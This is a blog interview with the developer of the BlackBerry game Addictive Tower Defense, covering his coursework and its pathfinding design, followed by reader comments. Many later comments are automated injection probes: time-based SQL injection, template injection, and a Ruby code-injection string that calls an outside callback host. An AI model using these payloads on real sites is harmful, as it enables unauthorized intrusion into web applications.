// you’re reading...

CompSci.ca

Addictive Tower Defense with Martin Kess

Martin Kess, one of the founding members of CompSci.ca, has been busy working on a fantastic looking game for the BlackBerry platform: Addictive Tower Defense. This isn’t the first of the quality games to come from the CompSci.ca community members, but it certainly raises the bar once again.

I’ve been playing the beta version of the game for a while, and I am blown away by the level of detail put into this game, just by a couple of indie developers. So I caught up with Martin to talk about the game.

What inspired you to make a commercial game, while still being a student?

Well, my main goal in life is to have a wikipedia page that doesn’t get deleted within 30 minutes of its creation.

I was working at Sybase, and Mike, my boss at the time, decided that in his spare time he wanted to do a project on the BlackBerry, and so we started throwing game ideas back and forth. The real inspiration thought were stories of John Carmack and John Romero (co-founders of id Software and yes, those are links to their Wikipedia pages) putting everything aside to make awesome video games.

And why commercial? Well, I thought that there was an off chance that I could retire a little bit of this quickly growing mountain of student debt.

One of 6 towers

Currently attending the same school with Martin, I had to ask how that played in with making games.

How do you feel that your 5 years of doing CS at Waterloo impacted the development of the game?

Well, co-op especially has turned me into a very productive programmer, so I think that I am pretty good at cranking out a lot of code. To be clear though — I mostly worked on gameplay and tools, Mike did the engine.

CS241 (Foundations of Sequential Programs, also known as “baby compilers”) was pretty relevant — I wrote a little scripting language to define the levels.

CS341 (Algorithms) and CS466 (Advanced algorithms) taught lots about algorithms , which was probably the most useful.

Math, being a touchy subject when it comes to video game development, also came into question:

What about the Math courses, did any of them come in useful in either development of the game or balancing out the gameplay?

The math was actually pretty straightforward — it wasn’t much beyond Calculus 1. Though MATH 239 (Combinatorial Analysis and Graph Theory) also came in handy. We used just the Dijkstra’s algorithm to find the shortest path for the enemies to take, but we also made a nifty flood-fill algorithm to update the shortest paths quickly when a tower got built. It was too expensive to rebuild the shortest paths every time a tower was placed.

Table of <a href='http://www.addictivetowerdefense.com/game/towers/'>upgrades</a>

Table of upgrades

Anything else?

English classes were very important! I did most of the writing on the site and in the game.

So to wrap this up… What’s next?

Next? *laughs* Next I have to rock this CS488 (Introduction to Computer Graphics) project.

We’re going to keep releasing maps for the game, and likely we’ll start working on Game #2, although we aren’t sure what that will be, and will probably take a break until Christmas at least to get caught up on sleep and other such things.

Tower Defense gameplay

Tower Defense gameplay

So there it is. A story about indie game development, a Computer Science student in debt, and one of the most polished mobile games I had a chance to play. Check out the game’s website for more details — AddictiveTowerDefense.com.

Read more



Discussion

  1. Posted by Scott Foley | November 11, 2009, 1:20 am

    Awesome game. I can’t seem to get enough of these tower defense games. Look forward to spending more valuable work time playing this one too .

    Reply to comment

  2. Posted by Kalvster | November 13, 2009, 1:40 pm

    Unfortunately you have to pay 5 bucks to play the game. Would have been neat if they at least gave a demo.

    Reply to comment

    Tony replied on: November 14th, 2009 at 1:59 am

    There’s a demo video embedded at the very start of the article, but if you meant “trial” of the game, then Martin said that they are working on that as well.

    P.S. “unfortunately” most commercial games cost some money, but instead of feeding a corporate profit machine, the $5 go towards paying off student loans.

    Reply to comment

    Pro Gaming Tips replied on: December 29th, 2009 at 2:25 am

    Yeah, I think it was a good idea to make it commercial after seeing the game is really well made.

    Reply to comment

  3. Posted by Brad | November 15, 2009, 6:00 am

    Ah, yes Tower Defense. The game is highly addictive.

    Reply to comment

  4. Posted by Tower Defence Games | December 3, 2009, 3:26 pm

    These games are awesome. It takes time, they re not like some 20seconds crash boom games. It takes patience,.. I like them very much…

    Reply to comment

  5. Posted by Garfiun | December 10, 2009, 4:11 am

    A new tower defence game and for the blcakberry, cant wait to give this one a go, it looks better than any other ones i have seen.

    Reply to comment

  6. Posted by Kevin | December 13, 2009, 3:25 pm

    This will be very interesting, I like to play tower games on my BB. Im looking into game development myself, it looks like a steep hill to climb..

    Reply to comment

  7. Posted by Daniel | December 22, 2009, 1:13 pm

    Looks like a cool game!

    Reply to comment

  8. Posted by Brandon | September 30, 2020, 6:35 am
  9. Posted by Brandon | September 30, 2020, 6:59 am
  10. Posted by Brandon | September 30, 2020, 6:59 am
  11. Posted by Brandon | September 30, 2020, 7:00 am

    /xfs.bxss.me

    Reply to comment

  12. Posted by Brandon | September 30, 2020, 7:02 am

    FoZpPdCy

    Reply to comment

  13. Posted by Brandon | September 30, 2020, 7:03 am

    if(now()=sysdate(),sleep(15),0)

    Reply to comment

  14. Posted by Brandon | September 30, 2020, 7:04 am
  15. Posted by Brandon | September 30, 2020, 7:04 am

    -5 OR 18=(SELECT 18 FROM PG_SLEEP(15))–

    Reply to comment

  16. Posted by Brandon | September 30, 2020, 7:05 am

    ${9999808+9999022}

    Reply to comment

  17. Posted by Brandon | September 30, 2020, 7:05 am

    “+”A”.concat(70-3).concat(22*4).concat(119).concat(72).concat(110).concat(88)+(require”socket”
    Socket.gethostbyname(”hitlo”+”idelsmoy0468b.bxss.me.”)[3].to_s)+”

    Reply to comment

  18. Posted by Brandon | September 30, 2020, 7:05 am

    VEH0qAGI’) OR 949=(SELECT 949 FROM PG_SLEEP(15))–

    Reply to comment

  19. Posted by Brandon | September 30, 2020, 7:05 am

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    Reply to comment

  20. Posted by Brandon | September 30, 2020, 7:07 am
  21. Posted by Brandon | September 30, 2020, 7:08 am

    -5 OR 66=(SELECT 66 FROM PG_SLEEP(15))–

    Reply to comment

  22. Posted by Brandon | September 30, 2020, 7:09 am

    -1)) OR 293=(SELECT 293 FROM PG_SLEEP(15))–

    Reply to comment

  23. Posted by Brandon | September 30, 2020, 7:09 am

    YHFf1QRo’) OR 267=(SELECT 267 FROM PG_SLEEP(15))–

    Reply to comment

  24. Posted by Brandon | September 30, 2020, 7:09 am

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    Reply to comment

Post a comment

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>